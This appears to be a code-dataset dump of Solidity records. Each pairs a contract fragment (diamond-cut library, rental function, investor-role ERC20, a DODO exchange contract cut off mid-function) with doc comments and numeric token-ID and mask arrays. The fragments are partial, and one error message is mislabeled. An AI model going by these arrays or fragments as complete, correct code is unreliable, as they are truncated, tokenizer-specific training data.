_init.delegatecall(_calldata); if (!success) { if (error.length > 0) { // bubble up the error revert(string(error)); } else { revert("LibDiamondCut: _init function reverted"); } } } } function enforceHasContractCode(address _contract, string memory _errorMessage) internal view { uint256 contractSize; assembly { contractSize := extcodesize(_contract) } require(contractSize > 0, _errorMessage); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) * EIP-2535 Diamond Standard: https://eips.ethereum.org/EIPS/eip-2535 /******************************************************************************/ interface IDiamondCut { enum FacetCutAction {Add, Replace, Remove} // Add=0, Replace=1, Remove=2 struct FacetCut { address facetAddress; FacetCutAction action; bytes4[] functionSelectors; } /// @notice Add/replace/remove any number of functions and optionally execute /// a function with delegatecall /// @param _diamondCut Contains the facet addresses and function selectors /// @param _init The address of the contract or facet to execute _calldata /// @param _calldata A function call, including function selector and arguments /// _calldata is executed with delegatecall on _init function diamondCut( FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata ) external; event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; interface IRentPayout { /// @notice Emitted once Rent has been claimed for a given asset Id event ClaimRentFee( uint256 indexed _assetId, address indexed _token, address indexed _recipient, uint256 _amount ); }
@notice Rents an asset for a given period. Charges user for the rent upfront. Rent starts from the last rented timestamp or from the current timestamp of the transaction. @param _assetId The target asset @param _period The target rental period (in seconds) @param _maxRentStart The maximum rent start allowed for the given rent @param _paymentToken The current payment token for the asset @param _amount The target amount to be paid for the rent
function rent( uint256 _assetId, uint256 _period, uint256 _maxRentStart, address _paymentToken, uint256 _amount ) external payable returns (uint256, bool) { (uint256 rentId, bool rentStartsNow) = LibRent.rent( LibRent.RentParams({ _assetId: _assetId, _period: _period, _maxRentStart: _maxRentStart, _paymentToken: _paymentToken, _amount: _amount }) ); return (rentId, rentStartsNow); }
1,613,607
[ 1, 54, 4877, 392, 3310, 364, 279, 864, 3879, 18, 3703, 2852, 729, 364, 326, 283, 496, 731, 10211, 18, 534, 319, 2542, 628, 326, 1142, 283, 496, 329, 2858, 578, 628, 326, 783, 2858, 434, 326, 2492, 18, 225, 389, 9406, 548, 1021, 1018, 3310, 225, 389, 6908, 1021, 1018, 283, 496, 287, 3879, 261, 267, 3974, 13, 225, 389, 1896, 54, 319, 1685, 1021, 4207, 283, 496, 787, 2935, 364, 326, 864, 283, 496, 225, 389, 9261, 1345, 1021, 783, 5184, 1147, 364, 326, 3310, 225, 389, 8949, 1021, 1018, 3844, 358, 506, 30591, 364, 326, 283, 496, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 283, 496, 12, 203, 3639, 2254, 5034, 389, 9406, 548, 16, 203, 3639, 2254, 5034, 389, 6908, 16, 203, 3639, 2254, 5034, 389, 1896, 54, 319, 1685, 16, 203, 3639, 1758, 389, 9261, 1345, 16, 203, 3639, 2254, 5034, 389, 8949, 203, 565, 262, 3903, 8843, 429, 1135, 261, 11890, 5034, 16, 1426, 13, 288, 203, 3639, 261, 11890, 5034, 283, 496, 548, 16, 1426, 283, 496, 11203, 8674, 13, 273, 10560, 54, 319, 18, 547, 12, 203, 5411, 10560, 54, 319, 18, 54, 319, 1370, 12590, 203, 7734, 389, 9406, 548, 30, 389, 9406, 548, 16, 203, 7734, 389, 6908, 30, 389, 6908, 16, 203, 7734, 389, 1896, 54, 319, 1685, 30, 389, 1896, 54, 319, 1685, 16, 203, 7734, 389, 9261, 1345, 30, 389, 9261, 1345, 16, 203, 7734, 389, 8949, 30, 389, 8949, 203, 5411, 289, 13, 203, 3639, 11272, 203, 3639, 327, 261, 547, 548, 16, 283, 496, 11203, 8674, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0xA4faE6a3Bff7AeCe3d37d379C35648b7B39f8369/sources/SteToken.sol
* @dev Investor role/
contract ERC20Investable is ERC20 { struct InvestorSettings { address account; uint invested; bool accredited; } uint unaccreditedLimit; using Roles for Roles.Role; event InvestorAdded(address indexed account); event InvestorRemoved(address indexed account); Roles.Role private _investors; constructor () internal { _addInvestor(_msgSender()); } modifier onlyInvestor() { require(isInvestor(_msgSender()), "Investor: caller does not have the Minter role"); _; } function isInvestor(address account) public view returns (bool) { return _investors.has(account); } function _addInvestor(address account) internal { _investors.add(account); emit InvestorAdded(account); } function _removeInvestor(address account) internal { _investors.remove(account); emit InvestorRemoved(account); } }
5,267,453
[ 1, 3605, 395, 280, 2478, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 3462, 3605, 395, 429, 353, 4232, 39, 3462, 288, 203, 565, 1958, 5454, 395, 280, 2628, 288, 203, 3639, 1758, 2236, 31, 203, 3639, 2254, 2198, 3149, 31, 203, 3639, 1426, 4078, 10430, 329, 31, 203, 565, 289, 203, 203, 565, 2254, 640, 8981, 10430, 329, 3039, 31, 203, 203, 565, 1450, 19576, 364, 19576, 18, 2996, 31, 203, 203, 565, 871, 5454, 395, 280, 8602, 12, 2867, 8808, 2236, 1769, 203, 565, 871, 5454, 395, 280, 10026, 12, 2867, 8808, 2236, 1769, 203, 203, 565, 19576, 18, 2996, 3238, 389, 5768, 395, 1383, 31, 203, 203, 565, 3885, 1832, 2713, 288, 203, 3639, 389, 1289, 3605, 395, 280, 24899, 3576, 12021, 10663, 203, 565, 289, 203, 203, 565, 9606, 1338, 3605, 395, 280, 1435, 288, 203, 3639, 2583, 12, 291, 3605, 395, 280, 24899, 3576, 12021, 1435, 3631, 315, 3605, 395, 280, 30, 4894, 1552, 486, 1240, 326, 490, 2761, 2478, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 353, 3605, 395, 280, 12, 2867, 2236, 13, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 327, 389, 5768, 395, 1383, 18, 5332, 12, 4631, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 1289, 3605, 395, 280, 12, 2867, 2236, 13, 2713, 288, 203, 3639, 389, 5768, 395, 1383, 18, 1289, 12, 4631, 1769, 203, 3639, 3626, 5454, 395, 280, 8602, 12, 4631, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 4479, 3605, 395, 280, 12, 2867, 2236, 13, 2713, 288, 203, 3639, 389, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-05-18 */ // File: contracts/lib/Types.sol /* Copyright 2020 DODO ZOO. SPDX-License-Identifier: Apache-2.0 */ pragma solidity 0.6.9; pragma experimental ABIEncoderV2; library Types { enum RStatus {ONE, ABOVE_ONE, BELOW_ONE} } // File: contracts/intf/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function name() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } // File: contracts/lib/InitializableOwnable.sol /** * @title Ownable * @author DODO Breeder * * @notice Ownership related functions */ contract InitializableOwnable { address public _OWNER_; address public _NEW_OWNER_; // ============ Events ============ event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // ============ Modifiers ============ modifier onlyOwner() { require(msg.sender == _OWNER_, "NOT_OWNER"); _; } // ============ Functions ============ function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0), "INVALID_OWNER"); emit OwnershipTransferPrepared(_OWNER_, newOwner); _NEW_OWNER_ = newOwner; } function claimOwnership() external { require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM"); emit OwnershipTransferred(_OWNER_, _NEW_OWNER_); _OWNER_ = _NEW_OWNER_; _NEW_OWNER_ = address(0); } } // File: contracts/lib/SafeMath.sol /** * @title SafeMath * @author DODO Breeder * * @notice Math operations with safety checks that revert on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "MUL_ERROR"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "DIVIDING_ERROR"); return a / b; } function divCeil(uint256 a, uint256 b) internal pure returns (uint256) { uint256 quotient = div(a, b); uint256 remainder = a - quotient * b; if (remainder > 0) { return quotient + 1; } else { return quotient; } } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SUB_ERROR"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "ADD_ERROR"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = x / 2 + 1; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } // File: contracts/lib/DecimalMath.sol /** * @title DecimalMath * @author DODO Breeder * * @notice Functions for fixed point number with 18 decimals */ library DecimalMath { using SafeMath for uint256; uint256 constant ONE = 10**18; function mul(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(d) / ONE; } function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(d).divCeil(ONE); } function divFloor(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(ONE).div(d); } function divCeil(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(ONE).divCeil(d); } } // File: contracts/lib/ReentrancyGuard.sol /** * @title ReentrancyGuard * @author DODO Breeder * * @notice Protect functions from Reentrancy Attack */ contract ReentrancyGuard { // https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations // zero-state of _ENTERED_ is false bool private _ENTERED_; modifier preventReentrant() { require(!_ENTERED_, "REENTRANT"); _ENTERED_ = true; _; _ENTERED_ = false; } } // File: contracts/intf/IOracle.sol interface IOracle { function getPrice() external view returns (uint256); } // File: contracts/intf/IDODOLpToken.sol interface IDODOLpToken { function mint(address user, uint256 value) external; function burn(address user, uint256 value) external; function balanceOf(address owner) external view returns (uint256); function totalSupply() external view returns (uint256); } // File: contracts/impl/Storage.sol /** * @title Storage * @author DODO Breeder * * @notice Local Variables */ contract Storage is InitializableOwnable, ReentrancyGuard { using SafeMath for uint256; // ============ Variables for Control ============ bool internal _INITIALIZED_; bool public _CLOSED_; bool public _DEPOSIT_QUOTE_ALLOWED_; bool public _DEPOSIT_BASE_ALLOWED_; bool public _TRADE_ALLOWED_; uint256 public _GAS_PRICE_LIMIT_; // ============ Advanced Controls ============ bool public _BUYING_ALLOWED_; bool public _SELLING_ALLOWED_; uint256 public _BASE_BALANCE_LIMIT_; uint256 public _QUOTE_BALANCE_LIMIT_; // ============ Core Address ============ address public _SUPERVISOR_; // could freeze system in emergency address public _MAINTAINER_; // collect maintainer fee to buy food for DODO address public _BASE_TOKEN_; address public _QUOTE_TOKEN_; address public _ORACLE_; // ============ Variables for PMM Algorithm ============ uint256 public _LP_FEE_RATE_; uint256 public _MT_FEE_RATE_; uint256 public _K_; Types.RStatus public _R_STATUS_; uint256 public _TARGET_BASE_TOKEN_AMOUNT_; uint256 public _TARGET_QUOTE_TOKEN_AMOUNT_; uint256 public _BASE_BALANCE_; uint256 public _QUOTE_BALANCE_; address public _BASE_CAPITAL_TOKEN_; address public _QUOTE_CAPITAL_TOKEN_; // ============ Variables for Final Settlement ============ uint256 public _BASE_CAPITAL_RECEIVE_QUOTE_; uint256 public _QUOTE_CAPITAL_RECEIVE_BASE_; mapping(address => bool) public _CLAIMED_; // ============ Modifiers ============ modifier onlySupervisorOrOwner() { require(msg.sender == _SUPERVISOR_ || msg.sender == _OWNER_, "NOT_SUPERVISOR_OR_OWNER"); _; } modifier notClosed() { require(!_CLOSED_, "DODO_CLOSED"); _; } // ============ Helper Functions ============ function _checkDODOParameters() internal view returns (uint256) { require(_K_ < DecimalMath.ONE, "K>=1"); require(_K_ > 0, "K=0"); require(_LP_FEE_RATE_.add(_MT_FEE_RATE_) < DecimalMath.ONE, "FEE_RATE>=1"); } function getOraclePrice() public view returns (uint256) { return IOracle(_ORACLE_).getPrice(); } function getBaseCapitalBalanceOf(address lp) public view returns (uint256) { return IDODOLpToken(_BASE_CAPITAL_TOKEN_).balanceOf(lp); } function getTotalBaseCapital() public view returns (uint256) { return IDODOLpToken(_BASE_CAPITAL_TOKEN_).totalSupply(); } function getQuoteCapitalBalanceOf(address lp) public view returns (uint256) { return IDODOLpToken(_QUOTE_CAPITAL_TOKEN_).balanceOf(lp); } function getTotalQuoteCapital() public view returns (uint256) { return IDODOLpToken(_QUOTE_CAPITAL_TOKEN_).totalSupply(); } // ============ Version Control ============ function version() external pure returns (uint256) { return 101; // 1.0.1 } } // File: contracts/intf/IDODOCallee.sol interface IDODOCallee { function dodoCall( bool isBuyBaseToken, uint256 baseAmount, uint256 quoteAmount, bytes calldata data ) external; } // File: contracts/lib/DODOMath.sol /** * @title DODOMath * @author DODO Breeder * * @notice Functions for complex calculating. Including ONE Integration and TWO Quadratic solutions */ library DODOMath { using SafeMath for uint256; /* Integrate dodo curve fron V1 to V2 require V0>=V1>=V2>0 res = (1-k)i(V1-V2)+ikV0*V0(1/V2-1/V1) let V1-V2=delta res = i*delta*(1-k+k(V0^2/V1/V2)) */ function _GeneralIntegrate( uint256 V0, uint256 V1, uint256 V2, uint256 i, uint256 k ) internal pure returns (uint256) { uint256 fairAmount = DecimalMath.mul(i, V1.sub(V2)); // i*delta uint256 V0V0V1V2 = DecimalMath.divCeil(V0.mul(V0).div(V1), V2); uint256 penalty = DecimalMath.mul(k, V0V0V1V2); // k(V0^2/V1/V2) return DecimalMath.mul(fairAmount, DecimalMath.ONE.sub(k).add(penalty)); } /* The same with integration expression above, we have: i*deltaB = (Q2-Q1)*(1-k+kQ0^2/Q1/Q2) Given Q1 and deltaB, solve Q2 This is a quadratic function and the standard version is aQ2^2 + bQ2 + c = 0, where a=1-k -b=(1-k)Q1-kQ0^2/Q1+i*deltaB c=-kQ0^2 and Q2=(-b+sqrt(b^2+4(1-k)kQ0^2))/2(1-k) note: another root is negative, abondan if deltaBSig=true, then Q2>Q1 if deltaBSig=false, then Q2<Q1 */ function _SolveQuadraticFunctionForTrade( uint256 Q0, uint256 Q1, uint256 ideltaB, bool deltaBSig, uint256 k ) internal pure returns (uint256) { // calculate -b value and sig // -b = (1-k)Q1-kQ0^2/Q1+i*deltaB uint256 kQ02Q1 = DecimalMath.mul(k, Q0).mul(Q0).div(Q1); // kQ0^2/Q1 uint256 b = DecimalMath.mul(DecimalMath.ONE.sub(k), Q1); // (1-k)Q1 bool minusbSig = true; if (deltaBSig) { b = b.add(ideltaB); // (1-k)Q1+i*deltaB } else { kQ02Q1 = kQ02Q1.add(ideltaB); // i*deltaB+kQ0^2/Q1 } if (b >= kQ02Q1) { b = b.sub(kQ02Q1); minusbSig = true; } else { b = kQ02Q1.sub(b); minusbSig = false; } // calculate sqrt uint256 squareRoot = DecimalMath.mul( DecimalMath.ONE.sub(k).mul(4), DecimalMath.mul(k, Q0).mul(Q0) ); // 4(1-k)kQ0^2 squareRoot = b.mul(b).add(squareRoot).sqrt(); // sqrt(b*b+4(1-k)kQ0*Q0) // final res uint256 denominator = DecimalMath.ONE.sub(k).mul(2); // 2(1-k) uint256 numerator; if (minusbSig) { numerator = b.add(squareRoot); } else { numerator = squareRoot.sub(b); } if (deltaBSig) { return DecimalMath.divFloor(numerator, denominator); } else { return DecimalMath.divCeil(numerator, denominator); } } /* Start from the integration function i*deltaB = (Q2-Q1)*(1-k+kQ0^2/Q1/Q2) Assume Q2=Q0, Given Q1 and deltaB, solve Q0 let fairAmount = i*deltaB */ function _SolveQuadraticFunctionForTarget( uint256 V1, uint256 k, uint256 fairAmount ) internal pure returns (uint256 V0) { // V0 = V1+V1*(sqrt-1)/2k uint256 sqrt = DecimalMath.divCeil(DecimalMath.mul(k, fairAmount).mul(4), V1); sqrt = sqrt.add(DecimalMath.ONE).mul(DecimalMath.ONE).sqrt(); uint256 premium = DecimalMath.divCeil(sqrt.sub(DecimalMath.ONE), k.mul(2)); // V0 is greater than or equal to V1 according to the solution return DecimalMath.mul(V1, DecimalMath.ONE.add(premium)); } } // File: contracts/impl/Pricing.sol /** * @title Pricing * @author DODO Breeder * * @notice DODO Pricing model */ contract Pricing is Storage { using SafeMath for uint256; // ============ R = 1 cases ============ function _ROneSellBaseToken(uint256 amount, uint256 targetQuoteTokenAmount) internal view returns (uint256 receiveQuoteToken) { uint256 i = getOraclePrice(); uint256 Q2 = DODOMath._SolveQuadraticFunctionForTrade( targetQuoteTokenAmount, targetQuoteTokenAmount, DecimalMath.mul(i, amount), false, _K_ ); // in theory Q2 <= targetQuoteTokenAmount // however when amount is close to 0, precision problems may cause Q2 > targetQuoteTokenAmount return targetQuoteTokenAmount.sub(Q2); } function _ROneBuyBaseToken(uint256 amount, uint256 targetBaseTokenAmount) internal view returns (uint256 payQuoteToken) { require(amount < targetBaseTokenAmount, "DODO_BASE_BALANCE_NOT_ENOUGH"); uint256 B2 = targetBaseTokenAmount.sub(amount); payQuoteToken = _RAboveIntegrate(targetBaseTokenAmount, targetBaseTokenAmount, B2); return payQuoteToken; } // ============ R < 1 cases ============ function _RBelowSellBaseToken( uint256 amount, uint256 quoteBalance, uint256 targetQuoteAmount ) internal view returns (uint256 receieQuoteToken) { uint256 i = getOraclePrice(); uint256 Q2 = DODOMath._SolveQuadraticFunctionForTrade( targetQuoteAmount, quoteBalance, DecimalMath.mul(i, amount), false, _K_ ); return quoteBalance.sub(Q2); } function _RBelowBuyBaseToken( uint256 amount, uint256 quoteBalance, uint256 targetQuoteAmount ) internal view returns (uint256 payQuoteToken) { // Here we don't require amount less than some value // Because it is limited at upper function // See Trader.queryBuyBaseToken uint256 i = getOraclePrice(); uint256 Q2 = DODOMath._SolveQuadraticFunctionForTrade( targetQuoteAmount, quoteBalance, DecimalMath.mulCeil(i, amount), true, _K_ ); return Q2.sub(quoteBalance); } function _RBelowBackToOne() internal view returns (uint256 payQuoteToken) { // important: carefully design the system to make sure spareBase always greater than or equal to 0 uint256 spareBase = _BASE_BALANCE_.sub(_TARGET_BASE_TOKEN_AMOUNT_); uint256 price = getOraclePrice(); uint256 fairAmount = DecimalMath.mul(spareBase, price); uint256 newTargetQuote = DODOMath._SolveQuadraticFunctionForTarget( _QUOTE_BALANCE_, _K_, fairAmount ); return newTargetQuote.sub(_QUOTE_BALANCE_); } // ============ R > 1 cases ============ function _RAboveBuyBaseToken( uint256 amount, uint256 baseBalance, uint256 targetBaseAmount ) internal view returns (uint256 payQuoteToken) { require(amount < baseBalance, "DODO_BASE_BALANCE_NOT_ENOUGH"); uint256 B2 = baseBalance.sub(amount); return _RAboveIntegrate(targetBaseAmount, baseBalance, B2); } function _RAboveSellBaseToken( uint256 amount, uint256 baseBalance, uint256 targetBaseAmount ) internal view returns (uint256 receiveQuoteToken) { // here we don't require B1 <= targetBaseAmount // Because it is limited at upper function // See Trader.querySellBaseToken uint256 B1 = baseBalance.add(amount); return _RAboveIntegrate(targetBaseAmount, B1, baseBalance); } function _RAboveBackToOne() internal view returns (uint256 payBaseToken) { // important: carefully design the system to make sure spareBase always greater than or equal to 0 uint256 spareQuote = _QUOTE_BALANCE_.sub(_TARGET_QUOTE_TOKEN_AMOUNT_); uint256 price = getOraclePrice(); uint256 fairAmount = DecimalMath.divFloor(spareQuote, price); uint256 newTargetBase = DODOMath._SolveQuadraticFunctionForTarget( _BASE_BALANCE_, _K_, fairAmount ); return newTargetBase.sub(_BASE_BALANCE_); } // ============ Helper functions ============ function getExpectedTarget() public view returns (uint256 baseTarget, uint256 quoteTarget) { uint256 Q = _QUOTE_BALANCE_; uint256 B = _BASE_BALANCE_; if (_R_STATUS_ == Types.RStatus.ONE) { return (_TARGET_BASE_TOKEN_AMOUNT_, _TARGET_QUOTE_TOKEN_AMOUNT_); } else if (_R_STATUS_ == Types.RStatus.BELOW_ONE) { uint256 payQuoteToken = _RBelowBackToOne(); return (_TARGET_BASE_TOKEN_AMOUNT_, Q.add(payQuoteToken)); } else if (_R_STATUS_ == Types.RStatus.ABOVE_ONE) { uint256 payBaseToken = _RAboveBackToOne(); return (B.add(payBaseToken), _TARGET_QUOTE_TOKEN_AMOUNT_); } } function getMidPrice() public view returns (uint256 midPrice) { (uint256 baseTarget, uint256 quoteTarget) = getExpectedTarget(); if (_R_STATUS_ == Types.RStatus.BELOW_ONE) { uint256 R = DecimalMath.divFloor( quoteTarget.mul(quoteTarget).div(_QUOTE_BALANCE_), _QUOTE_BALANCE_ ); R = DecimalMath.ONE.sub(_K_).add(DecimalMath.mul(_K_, R)); return DecimalMath.divFloor(getOraclePrice(), R); } else { uint256 R = DecimalMath.divFloor( baseTarget.mul(baseTarget).div(_BASE_BALANCE_), _BASE_BALANCE_ ); R = DecimalMath.ONE.sub(_K_).add(DecimalMath.mul(_K_, R)); return DecimalMath.mul(getOraclePrice(), R); } } function _RAboveIntegrate( uint256 B0, uint256 B1, uint256 B2 ) internal view returns (uint256) { uint256 i = getOraclePrice(); return DODOMath._GeneralIntegrate(B0, B1, B2, i, _K_); } // function _RBelowIntegrate( // uint256 Q0, // uint256 Q1, // uint256 Q2 // ) internal view returns (uint256) { // uint256 i = getOraclePrice(); // i = DecimalMath.divFloor(DecimalMath.ONE, i); // 1/i // return DODOMath._GeneralIntegrate(Q0, Q1, Q2, i, _K_); // } } // File: contracts/lib/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/impl/Settlement.sol /** * @title Settlement * @author DODO Breeder * * @notice Functions for assets settlement */ contract Settlement is Storage { using SafeMath for uint256; using SafeERC20 for IERC20; // ============ Events ============ event Donate(uint256 amount, bool isBaseToken); event ClaimAssets(address indexed user, uint256 baseTokenAmount, uint256 quoteTokenAmount); // ============ Assets IN/OUT Functions ============ function _baseTokenTransferIn(address from, uint256 amount) internal { require(_BASE_BALANCE_.add(amount) <= _BASE_BALANCE_LIMIT_, "BASE_BALANCE_LIMIT_EXCEEDED"); IERC20(_BASE_TOKEN_).safeTransferFrom(from, address(this), amount); _BASE_BALANCE_ = _BASE_BALANCE_.add(amount); } function _quoteTokenTransferIn(address from, uint256 amount) internal { require( _QUOTE_BALANCE_.add(amount) <= _QUOTE_BALANCE_LIMIT_, "QUOTE_BALANCE_LIMIT_EXCEEDED" ); IERC20(_QUOTE_TOKEN_).safeTransferFrom(from, address(this), amount); _QUOTE_BALANCE_ = _QUOTE_BALANCE_.add(amount); } function _baseTokenTransferOut(address to, uint256 amount) internal { IERC20(_BASE_TOKEN_).safeTransfer(to, amount); _BASE_BALANCE_ = _BASE_BALANCE_.sub(amount); } function _quoteTokenTransferOut(address to, uint256 amount) internal { IERC20(_QUOTE_TOKEN_).safeTransfer(to, amount); _QUOTE_BALANCE_ = _QUOTE_BALANCE_.sub(amount); } // ============ Donate to Liquidity Pool Functions ============ function _donateBaseToken(uint256 amount) internal { _TARGET_BASE_TOKEN_AMOUNT_ = _TARGET_BASE_TOKEN_AMOUNT_.add(amount); emit Donate(amount, true); } function _donateQuoteToken(uint256 amount) internal { _TARGET_QUOTE_TOKEN_AMOUNT_ = _TARGET_QUOTE_TOKEN_AMOUNT_.add(amount); emit Donate(amount, false); } function donateBaseToken(uint256 amount) external preventReentrant { _baseTokenTransferIn(msg.sender, amount); _donateBaseToken(amount); } function donateQuoteToken(uint256 amount) external preventReentrant { _quoteTokenTransferIn(msg.sender, amount); _donateQuoteToken(amount); } // ============ Final Settlement Functions ============ // last step to shut down dodo function finalSettlement() external 